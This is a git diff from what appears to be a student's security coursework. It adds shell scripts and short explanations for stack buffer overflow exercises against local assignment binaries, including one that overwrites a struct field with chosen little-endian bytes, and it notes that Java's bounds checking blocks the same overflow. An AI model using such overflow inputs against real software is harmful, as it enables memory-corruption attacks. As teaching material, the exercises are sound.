diff --git a/.gitignore b/.gitignore
index 55ea426..44ac8ce 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,4 +3,5 @@ sheet01/a2/Hash.java
 *.class
 passwd
 sheet04/AuthWithTOTP.java
-sheet04/key-exchange.pcap
\ No newline at end of file
+sheet04/key-exchange.pcap
+sheet06/a2/assign*
diff --git a/sheet06/a2/b.txt b/sheet06/a2/b.txt
new file mode 100644
index 0000000..425afaf
--- /dev/null
+++ b/sheet06/a2/b.txt
@@ -0,0 +1,5 @@
+Java has bounds checking for arraycopy and other functions built-in, therefore when trying to do the same thing as before we get:
+
+Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: arraycopy: last source index 144 out of bounds for char[128]
+	at java.base/java.lang.System.arraycopy(Native Method)
+	at assignment2b.main(assignment2b.java:14)
diff --git a/sheet06/a2/stack-a.sh b/sheet06/a2/stack-a.sh
new file mode 100755
index 0000000..0bef668
--- /dev/null
+++ b/sheet06/a2/stack-a.sh
@@ -0,0 +1 @@
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | "./assignment2a"
diff --git a/sheet06/a2/stack-a.txt b/sheet06/a2/stack-a.txt
new file mode 100644
index 0000000..6bbffe1
--- /dev/null
+++ b/sheet06/a2/stack-a.txt
@@ -0,0 +1 @@
+The gets function reads into a buffer with 128 bytes from stdin. So to create a buffer overflow, I just need to put in 128 characters (all of the A) and then what we want to be written where the 32 bit integer is at the end (since it's behind the buffer inside of the struct).
diff --git a/sheet06/a2/stack-c.sh b/sheet06/a2/stack-c.sh
new file mode 100755
index 0000000..02b4f18
--- /dev/null
+++ b/sheet06/a2/stack-c.sh
@@ -0,0 +1 @@
+./assignment2c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
diff --git a/sheet06/a2/stack-c.txt b/sheet06/a2/stack-c.txt
new file mode 100644
index 0000000..eff8ae3
--- /dev/null
+++ b/sheet06/a2/stack-c.txt
@@ -0,0 +1 @@
+Same idea as a here, just that we put in 64 characters this time since the buffer is only 64 characters big. This means 65 A's and the job is done.
diff --git a/sheet06/a2/stack-d.sh b/sheet06/a2/stack-d.sh
new file mode 100755
index 0000000..6f79fa4
--- /dev/null
+++ b/sheet06/a2/stack-d.sh
@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x74\x69\x6E\x49")
+./assignment2d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER
diff --git a/sheet06/a2/stack-d.txt b/sheet06/a2/stack-d.txt
new file mode 100644
index 0000000..80e55cd
--- /dev/null
+++ b/sheet06/a2/stack-d.txt
@@ -0,0 +1 @@
+Since we now want to change toChange to a deterministic value, specifically 0x496e6974, I just used printf to generate the ASCII characters for this number and then passed it straight to the program with some extra stuff in front to make the buffer overflow. You just have to put the bytes in reverse order due to little endian and stuff.